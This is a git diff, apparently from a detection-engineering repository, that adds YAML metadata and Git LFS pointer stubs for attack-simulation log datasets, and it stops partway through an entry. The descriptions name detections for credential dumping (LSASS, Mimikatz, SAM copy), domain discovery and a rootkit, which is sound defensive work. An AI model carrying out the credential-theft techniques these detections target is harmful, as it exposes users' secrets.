diff --git a/.gitignore b/.gitignore index cdb42e79c..b7b40b0b9 100644 --- a/.gitignore +++ b/.gitignore @@ -9,6 +9,7 @@ __pycache__/ # C extensions *.so +.env # Distribution / packaging .Python diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..6241c37a5 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,8 @@ +{ + "yaml.schemas": { + "file:///Users/pbareiss/.cursor/extensions/your-publisher-id.strt-bot-detection-yaml-0.1.1/schema/detection.schema.json": [ + "**/detections/**/*.yml", + "**/detections/**/*.yaml" + ] + } +} \ No newline at end of file diff --git a/datasets/attack_techniques/T1003.001/atomic_red_team/T1003.001_atomic_red_team.yml b/datasets/attack_techniques/T1003.001/atomic_red_team/T1003.001_atomic_red_team.yml new file mode 100644 index 000000000..b98d8c2fb --- /dev/null +++ b/datasets/attack_techniques/T1003.001/atomic_red_team/T1003.001_atomic_red_team.yml @@ -0,0 +1,25 @@ +author: STRT +id: 6d7d5c48-17a5-4502-81ac-00f5c023a9b1 +date: '2026-07-11' +description: Curated attack data generated for detection Access LSASS Memory for Dump + Creation +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/crowdstrike_falcon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike +- name: createdump_windows-sysmon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/createdump_windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_creddump + path: /datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon_creddump-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1003.001/atomic_red_team/createdump_windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log b/datasets/attack_techniques/T1003.001/atomic_red_team/createdump_windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log new file mode 100644 index 000000000..417609a6e --- /dev/null +++ b/datasets/attack_techniques/T1003.001/atomic_red_team/createdump_windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f42c8c18bc26f09bfcbb23a919b8dd9c6b70c150b3cb81ed37fdc607700b43f6 +size 10636 diff --git a/datasets/attack_techniques/T1003.001/atomic_red_team/crowdstrike_falcon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log b/datasets/attack_techniques/T1003.001/atomic_red_team/crowdstrike_falcon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log new file mode 100644 index 000000000..a394d62e6 --- /dev/null +++ b/datasets/attack_techniques/T1003.001/atomic_red_team/crowdstrike_falcon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3b92c38518b10639cb861dd66ba6bf7cde12ed754aa298ee66cd1f2d09741617 +size 8916 diff --git a/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log b/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log new file mode 100644 index 000000000..a3ff4ed3e --- /dev/null +++ b/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:327ccdb719a2ce5336d2e65abeaa38d30c5b9b90e4e5f351daad1e01ab8ac08f +size 12520 diff --git a/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon_creddump-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log b/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon_creddump-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log new file mode 100644 index 000000000..e812fac40 --- /dev/null +++ b/datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon_creddump-6d7d5c48-17a5-4502-81ac-00f5c023a9b1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:71ee1280a782edd26cc0374aac2a4c4a6ede16804253e7ee6494cf3871dae273 +size 7041 diff --git a/datasets/attack_techniques/T1003.002/atomic_red_team/T1003.002_atomic_red_team.yml b/datasets/attack_techniques/T1003.002/atomic_red_team/T1003.002_atomic_red_team.yml new file mode 100644 index 000000000..ed5f76e9c --- /dev/null +++ b/datasets/attack_techniques/T1003.002/atomic_red_team/T1003.002_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: a9d698d4-4bb3-4316-8502-470b22ab31c0 +date: '2026-07-11' +description: Curated attack data generated for detection Esentutl SAM Copy +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.002/atomic_red_team/windows-sysmon-a9d698d4-4bb3-4316-8502-470b22ab31c0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1003.002/atomic_red_team/windows-sysmon-a9d698d4-4bb3-4316-8502-470b22ab31c0.log b/datasets/attack_techniques/T1003.002/atomic_red_team/windows-sysmon-a9d698d4-4bb3-4316-8502-470b22ab31c0.log new file mode 100644 index 000000000..300884ede --- /dev/null +++ b/datasets/attack_techniques/T1003.002/atomic_red_team/windows-sysmon-a9d698d4-4bb3-4316-8502-470b22ab31c0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f27965af288c246ca6b5e1446975102a86c6f8ddb27b25caf86e481fd19794f7 +size 16301 diff --git a/datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/T1003.002_detect_copy_of_shadowcopy_with_script_block_logging.yml b/datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/T1003.002_detect_copy_of_shadowcopy_with_script_block_logging.yml new file mode 100644 index 000000000..5ed51a3ed --- /dev/null +++ b/datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/T1003.002_detect_copy_of_shadowcopy_with_script_block_logging.yml @@ -0,0 +1,13 @@ +author: STRT +id: 18d97431-2aab-4c9c-99d6-518c9884a35c +date: '2026-07-10' +description: Curated attack data generated for detection Detect Copy of ShadowCopy + with Script Block Logging +environment: attack_range +directory: detect_copy_of_shadowcopy_with_script_block_logging +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml-18d97431-2aab-4c9c-99d6-518c9884a35c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml-18d97431-2aab-4c9c-99d6-518c9884a35c.log b/datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml-18d97431-2aab-4c9c-99d6-518c9884a35c.log new file mode 100644 index 000000000..1658101f9 --- /dev/null +++ b/datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml-18d97431-2aab-4c9c-99d6-518c9884a35c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0b48472139fe51c461167538428fb90d8e42c55986d7d84bd61cbfa3bd826006 +size 33468 diff --git a/datasets/attack_techniques/T1003.003/atomic_red_team/T1003.003_atomic_red_team.yml b/datasets/attack_techniques/T1003.003/atomic_red_team/T1003.003_atomic_red_team.yml new file mode 100644 index 000000000..ce97fdadc --- /dev/null +++ b/datasets/attack_techniques/T1003.003/atomic_red_team/T1003.003_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: bfc0b9bd-d736-43b8-ba0e-6e112367acb5 +date: '2026-07-10' +description: Curated attack data generated for detection Creation of Shadow Copy +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.003/atomic_red_team/crowdstrike_falcon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike diff --git a/datasets/attack_techniques/T1003.003/atomic_red_team/crowdstrike_falcon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log b/datasets/attack_techniques/T1003.003/atomic_red_team/crowdstrike_falcon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log new file mode 100644 index 000000000..384ec1c75 --- /dev/null +++ b/datasets/attack_techniques/T1003.003/atomic_red_team/crowdstrike_falcon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3302aea94550634171e3742f83b06abc6c55c60736d104470320c2e95bd5e399 +size 3876 diff --git a/datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log b/datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log new file mode 100644 index 000000000..de88ee847 --- /dev/null +++ b/datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon-bfc0b9bd-d736-43b8-ba0e-6e112367acb5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:04065e6b096928819caf88a78a974133f5daaf93c35af2d60dbfa187baa25dc9 +size 2084 diff --git a/datasets/attack_techniques/T1003.004/NoLMHash/T1003.004_NoLMHash.yml b/datasets/attack_techniques/T1003.004/NoLMHash/T1003.004_NoLMHash.yml new file mode 100644 index 000000000..c27b2ab00 --- /dev/null +++ b/datasets/attack_techniques/T1003.004/NoLMHash/T1003.004_NoLMHash.yml @@ -0,0 +1,13 @@ +author: STRT +id: 92614a55-d3a7-4ac7-9e61-ae0155a287b6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows LSA Secrets NoLMhash + Registry +environment: attack_range +directory: NoLMHash +mitre_technique: [] +datasets: +- name: lsa-reg-settings-sysmon + path: /datasets/attack_techniques/T1003.004/NoLMHash/lsa-reg-settings-sysmon-92614a55-d3a7-4ac7-9e61-ae0155a287b6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1003.004/NoLMHash/lsa-reg-settings-sysmon-92614a55-d3a7-4ac7-9e61-ae0155a287b6.log b/datasets/attack_techniques/T1003.004/NoLMHash/lsa-reg-settings-sysmon-92614a55-d3a7-4ac7-9e61-ae0155a287b6.log new file mode 100644 index 000000000..1dfcbec74 --- /dev/null +++ b/datasets/attack_techniques/T1003.004/NoLMHash/lsa-reg-settings-sysmon-92614a55-d3a7-4ac7-9e61-ae0155a287b6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:37169f799f4cb9c3d9b9a5faaf768465a53f26e4025b4eb29a2781a942137587 +size 2182 diff --git a/datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/T1003.008_copy_file_stdoutpipe.yml b/datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/T1003.008_copy_file_stdoutpipe.yml new file mode 100644 index 000000000..1d7d574e3 --- /dev/null +++ b/datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/T1003.008_copy_file_stdoutpipe.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6c16ae83-66f1-4ca4-a89f-95f431b4cddd +date: '2026-07-10' +description: Curated attack data generated for detection Linux Possible Access To + Credential Files +environment: attack_range +directory: copy_file_stdoutpipe +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/sysmon_linux-6c16ae83-66f1-4ca4-a89f-95f431b4cddd.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/sysmon_linux-6c16ae83-66f1-4ca4-a89f-95f431b4cddd.log b/datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/sysmon_linux-6c16ae83-66f1-4ca4-a89f-95f431b4cddd.log new file mode 100644 index 000000000..c537d39d0 --- /dev/null +++ b/datasets/attack_techniques/T1003.008/copy_file_stdoutpipe/sysmon_linux-6c16ae83-66f1-4ca4-a89f-95f431b4cddd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ced520b619841f5dfe9268464c88408c1f8aa33f54e24fc2defb48fdfc0ab492 +size 1487 diff --git a/datasets/attack_techniques/T1003.008/esxi_sensitive_files/T1003.008_esxi_sensitive_files.yml b/datasets/attack_techniques/T1003.008/esxi_sensitive_files/T1003.008_esxi_sensitive_files.yml new file mode 100644 index 000000000..af0e53d9a --- /dev/null +++ b/datasets/attack_techniques/T1003.008/esxi_sensitive_files/T1003.008_esxi_sensitive_files.yml @@ -0,0 +1,12 @@ +author: STRT +id: 15efa630-4509-455c-8711-5edae8e2353e +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Sensitive Files Accessed +environment: attack_range +directory: esxi_sensitive_files +mitre_technique: [] +datasets: +- name: esxi_sensitive_files + path: /datasets/attack_techniques/T1003.008/esxi_sensitive_files/esxi_sensitive_files-15efa630-4509-455c-8711-5edae8e2353e.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1003.008/esxi_sensitive_files/esxi_sensitive_files-15efa630-4509-455c-8711-5edae8e2353e.log b/datasets/attack_techniques/T1003.008/esxi_sensitive_files/esxi_sensitive_files-15efa630-4509-455c-8711-5edae8e2353e.log new file mode 100644 index 000000000..6aefc11d4 --- /dev/null +++ b/datasets/attack_techniques/T1003.008/esxi_sensitive_files/esxi_sensitive_files-15efa630-4509-455c-8711-5edae8e2353e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f7454d88bb0b47ca2d956787844d34bb88fed86a0c118ecca32b1f02e895b8c4 +size 1267 diff --git a/datasets/attack_techniques/T1003/credential_extraction/T1003_credential_extraction.yml b/datasets/attack_techniques/T1003/credential_extraction/T1003_credential_extraction.yml new file mode 100644 index 000000000..d6945c62b --- /dev/null +++ b/datasets/attack_techniques/T1003/credential_extraction/T1003_credential_extraction.yml @@ -0,0 +1,12 @@ +author: STRT +id: 0a47b4ab-1057-4aff-b5cd-f58483f6b9a4 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Mimikatz Binary Execution +environment: attack_range +directory: credential_extraction +mitre_technique: [] +datasets: +- name: mimikatzwindows-sysmon + path: /datasets/attack_techniques/T1003/credential_extraction/mimikatzwindows-sysmon-0a47b4ab-1057-4aff-b5cd-f58483f6b9a4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1003/credential_extraction/mimikatzwindows-sysmon-0a47b4ab-1057-4aff-b5cd-f58483f6b9a4.log b/datasets/attack_techniques/T1003/credential_extraction/mimikatzwindows-sysmon-0a47b4ab-1057-4aff-b5cd-f58483f6b9a4.log new file mode 100644 index 000000000..4056d41b4 --- /dev/null +++ b/datasets/attack_techniques/T1003/credential_extraction/mimikatzwindows-sysmon-0a47b4ab-1057-4aff-b5cd-f58483f6b9a4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a414909e4bd23f96d8d1be73157a5c1bcb3d360a2db1949e81dc4cdb06b88879 +size 1990 diff --git a/datasets/attack_techniques/T1005/esxi_vm_download/T1005_esxi_vm_download.yml b/datasets/attack_techniques/T1005/esxi_vm_download/T1005_esxi_vm_download.yml new file mode 100644 index 000000000..5453e644b --- /dev/null +++ b/datasets/attack_techniques/T1005/esxi_vm_download/T1005_esxi_vm_download.yml @@ -0,0 +1,13 @@ +author: STRT +id: 09c0196a-4a9f-4946-8cfd-28fa543af951 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi VM Exported via Remote + Tool +environment: attack_range +directory: esxi_vm_download +mitre_technique: [] +datasets: +- name: esxi_vm_download + path: /datasets/attack_techniques/T1005/esxi_vm_download/esxi_vm_download-09c0196a-4a9f-4946-8cfd-28fa543af951.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1005/esxi_vm_download/esxi_vm_download-09c0196a-4a9f-4946-8cfd-28fa543af951.log b/datasets/attack_techniques/T1005/esxi_vm_download/esxi_vm_download-09c0196a-4a9f-4946-8cfd-28fa543af951.log new file mode 100644 index 000000000..cb21388b1 --- /dev/null +++ b/datasets/attack_techniques/T1005/esxi_vm_download/esxi_vm_download-09c0196a-4a9f-4946-8cfd-28fa543af951.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a50666c61f331226509ef462349fc891e46caaad70b1767422aee048f664acef +size 271 diff --git a/datasets/attack_techniques/T1011/snapattack/T1011_snapattack.yml b/datasets/attack_techniques/T1011/snapattack/T1011_snapattack.yml new file mode 100644 index 000000000..032eb4b8d --- /dev/null +++ b/datasets/attack_techniques/T1011/snapattack/T1011_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: ba2652f7-3ef4-4e0c-a0eb-cca67e9bf121 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Network Connection + From Program In Suspect Location +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1011/snapattack/snapattack-ba2652f7-3ef4-4e0c-a0eb-cca67e9bf121.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1011/snapattack/snapattack-ba2652f7-3ef4-4e0c-a0eb-cca67e9bf121.log b/datasets/attack_techniques/T1011/snapattack/snapattack-ba2652f7-3ef4-4e0c-a0eb-cca67e9bf121.log new file mode 100644 index 000000000..144a22604 --- /dev/null +++ b/datasets/attack_techniques/T1011/snapattack/snapattack-ba2652f7-3ef4-4e0c-a0eb-cca67e9bf121.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a48979d6fad5112a4bc1b26b61de7566955f1796b0db6a6dbc61b47b75c1fe39 +size 3292 diff --git a/datasets/attack_techniques/T1014/attack_techniques_T1014.yml b/datasets/attack_techniques/T1014/attack_techniques_T1014.yml new file mode 100644 index 000000000..fedd7d879 --- /dev/null +++ b/datasets/attack_techniques/T1014/attack_techniques_T1014.yml @@ -0,0 +1,17 @@ +author: STRT +id: 0cfe8283-b7e2-47cc-8578-1691011330b6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Drivers Loaded by + Signature +environment: attack_range +directory: T1014 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1014/windows-sysmon-0cfe8283-b7e2-47cc-8578-1691011330b6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-system + path: /datasets/attack_techniques/T1014/windows-system-0cfe8283-b7e2-47cc-8578-1691011330b6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1014/medusa_rootkit/T1014_medusa_rootkit.yml b/datasets/attack_techniques/T1014/medusa_rootkit/T1014_medusa_rootkit.yml new file mode 100644 index 000000000..ea320d17d --- /dev/null +++ b/datasets/attack_techniques/T1014/medusa_rootkit/T1014_medusa_rootkit.yml @@ -0,0 +1,12 @@ +author: STRT +id: 53940b7e-9094-44dc-b8a3-b89fa6a2325b +date: '2026-07-10' +description: Curated attack data generated for detection Linux Medusa Rootkit +environment: attack_range +directory: medusa_rootkit +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1014/medusa_rootkit/sysmon_linux-53940b7e-9094-44dc-b8a3-b89fa6a2325b.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1014/medusa_rootkit/sysmon_linux-53940b7e-9094-44dc-b8a3-b89fa6a2325b.log b/datasets/attack_techniques/T1014/medusa_rootkit/sysmon_linux-53940b7e-9094-44dc-b8a3-b89fa6a2325b.log new file mode 100644 index 000000000..ca5eb0955 --- /dev/null +++ b/datasets/attack_techniques/T1014/medusa_rootkit/sysmon_linux-53940b7e-9094-44dc-b8a3-b89fa6a2325b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2a4274bbcec460588763e974778783f68ad1cdec7603aa06fe0cb4f11914bd06 +size 6276 diff --git a/datasets/attack_techniques/T1014/windows-sysmon-0cfe8283-b7e2-47cc-8578-1691011330b6.log b/datasets/attack_techniques/T1014/windows-sysmon-0cfe8283-b7e2-47cc-8578-1691011330b6.log new file mode 100644 index 000000000..f6aa188e1 --- /dev/null +++ b/datasets/attack_techniques/T1014/windows-sysmon-0cfe8283-b7e2-47cc-8578-1691011330b6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f5ca6380811fc8892bbe3b0e2597aba28fdd58aa4aff225ec9d971bc9547ecff +size 6322 diff --git a/datasets/attack_techniques/T1014/windows-system-0cfe8283-b7e2-47cc-8578-1691011330b6.log b/datasets/attack_techniques/T1014/windows-system-0cfe8283-b7e2-47cc-8578-1691011330b6.log new file mode 100644 index 000000000..c18aca888 --- /dev/null +++ b/datasets/attack_techniques/T1014/windows-system-0cfe8283-b7e2-47cc-8578-1691011330b6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f0c7af6e2c7f48948ce8e607abd616adcf35bd90a6bb10b11c3c15932a317715 +size 2794 diff --git a/datasets/attack_techniques/T1016/atomic_red_team/linux_net_discovery/atomic_red_team_linux_net_discovery.yml b/datasets/attack_techniques/T1016/atomic_red_team/linux_net_discovery/atomic_red_team_linux_net_discovery.yml new file mode 100644 index 000000000..46dba217b --- /dev/null +++ b/datasets/attack_techniques/T1016/atomic_red_team/linux_net_discovery/atomic_red_team_linux_net_discovery.yml @@ -0,0 +1,12 @@ +author: STRT +id: 3eb5f12e-a0aa-41e1-9cb1-59c5c461245c +date: '2026-07-10' +description: Curated attack data generated for detection Linux System Network Discovery +environment: attack_range +directory: linux_net_discovery +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1016/atomic_red_team/linux_net_discovery/sysmon_linux-3eb5f12e-a0aa-41e1-9cb1-59c5c461245c.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1016/atomic_red_team/linux_net_discovery/sysmon_linux-3eb5f12e-a0aa-41e1-9cb1-59c5c461245c.log b/datasets/attack_techniques/T1016/atomic_red_team/linux_net_discovery/sysmon_linux-3eb5f12e-a0aa-41e1-9cb1-59c5c461245c.log new file mode 100644 index 000000000..fc644de8e --- /dev/null +++ b/datasets/attack_techniques/T1016/atomic_red_team/linux_net_discovery/sysmon_linux-3eb5f12e-a0aa-41e1-9cb1-59c5c461245c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6d26ab7d64771db59087a86304589871587fe93d22ba196ddfe427eb191c039c +size 13602 diff --git a/datasets/attack_techniques/T1016/discovery_commands/T1016_discovery_commands.yml b/datasets/attack_techniques/T1016/discovery_commands/T1016_discovery_commands.yml new file mode 100644 index 000000000..010b69dd9 --- /dev/null +++ b/datasets/attack_techniques/T1016/discovery_commands/T1016_discovery_commands.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1c6354b2-2af5-4e83-aae5-99218e445a6d +date: '2026-07-10' +description: Curated attack data generated for detection Potential System Network + Configuration Discovery Activity +environment: attack_range +directory: discovery_commands +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1016/discovery_commands/windows-sysmon-1c6354b2-2af5-4e83-aae5-99218e445a6d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1016/discovery_commands/windows-sysmon-1c6354b2-2af5-4e83-aae5-99218e445a6d.log b/datasets/attack_techniques/T1016/discovery_commands/windows-sysmon-1c6354b2-2af5-4e83-aae5-99218e445a6d.log new file mode 100644 index 000000000..fc1bf98d4 --- /dev/null +++ b/datasets/attack_techniques/T1016/discovery_commands/windows-sysmon-1c6354b2-2af5-4e83-aae5-99218e445a6d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5dce30e88b001c1556e7d866b5bdc74fdb01905ed70c0ca3f717ecf8bf6667c8 +size 27257 diff --git a/datasets/attack_techniques/T1018/AD_discovery/T1018_AD_discovery.yml b/datasets/attack_techniques/T1018/AD_discovery/T1018_AD_discovery.yml new file mode 100644 index 000000000..e765f3be6 --- /dev/null +++ b/datasets/attack_techniques/T1018/AD_discovery/T1018_AD_discovery.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1f3f5855-ab0f-45d1-af33-e17d9c224cfe +date: '2026-07-10' +description: Curated attack data generated for detection Domain Controller Discovery + with Nltest +environment: attack_range +directory: AD_discovery +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1018/AD_discovery/windows-sysmon-1f3f5855-ab0f-45d1-af33-e17d9c224cfe.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1018/AD_discovery/windows-sysmon-1f3f5855-ab0f-45d1-af33-e17d9c224cfe.log b/datasets/attack_techniques/T1018/AD_discovery/windows-sysmon-1f3f5855-ab0f-45d1-af33-e17d9c224cfe.log new file mode 100644 index 000000000..3e7b1ba03 --- /dev/null +++ b/datasets/attack_techniques/T1018/AD_discovery/windows-sysmon-1f3f5855-ab0f-45d1-af33-e17d9c224cfe.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c8beae6df2ecf8fa20ff278e950517480bac14b39263707971fcf26fb3d5a8cb +size 2743 diff --git a/datasets/attack_techniques/T1018/atomic_red_team/T1018_atomic_red_team.yml b/datasets/attack_techniques/T1018/atomic_red_team/T1018_atomic_red_team.yml new file mode 100644 index 000000000..b6e775313 --- /dev/null +++ b/datasets/attack_techniques/T1018/atomic_red_team/T1018_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: 295970dd-7a56-48bb-8e50-1daec5fab25e +date: '2026-07-11' +description: Curated attack data generated for detection Windows AdFind Exe +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1018/atomic_red_team/windows-sysmon-295970dd-7a56-48bb-8e50-1daec5fab25e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1018/atomic_red_team/windows-sysmon-295970dd-7a56-48bb-8e50-1daec5fab25e.log b/datasets/attack_techniques/T1018/atomic_red_team/windows-sysmon-295970dd-7a56-48bb-8e50-1daec5fab25e.log new file mode 100644 index 000000000..d5efb1b09 --- /dev/null +++ b/datasets/attack_techniques/T1018/atomic_red_team/windows-sysmon-295970dd-7a56-48bb-8e50-1daec5fab25e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ccbac7d97c453cbfa27ff3a983d8f86f31b042312bef0324c67a4148aab35f11 +size 28830 diff --git a/datasets/attack_techniques/T1018/windows_get_adcomputer_unconstrained_delegation_discovery/T1018_windows_get_adcomputer_unconstrained_delegation_discovery.yml b/datasets/attack_techniques/T1018/windows_get_adcomputer_unconstrained_delegation_discovery/T1018_windows_get_adcomputer_unconstrained_delegation_discovery.yml new file mode 100644 index 000000000..e237dd072 --- /dev/null +++ b/datasets/attack_techniques/T1018/windows_get_adcomputer_unconstrained_delegation_discovery/T1018_windows_get_adcomputer_unconstrained_delegation_discovery.yml @@ -0,0 +1,13 @@ +author: STRT +id: f1ff11e3-18bb-42bf-998e-857e48728ee5 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Get-AdComputer Unconstrained + Delegation Discovery +environment: attack_range +directory: windows_get_adcomputer_unconstrained_delegation_discovery +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1018/windows_get_adcomputer_unconstrained_delegation_discovery/windows-xml-f1ff11e3-18bb-42bf-998e-857e48728ee5.log + sourcetype: XmlWinEventLog + source: 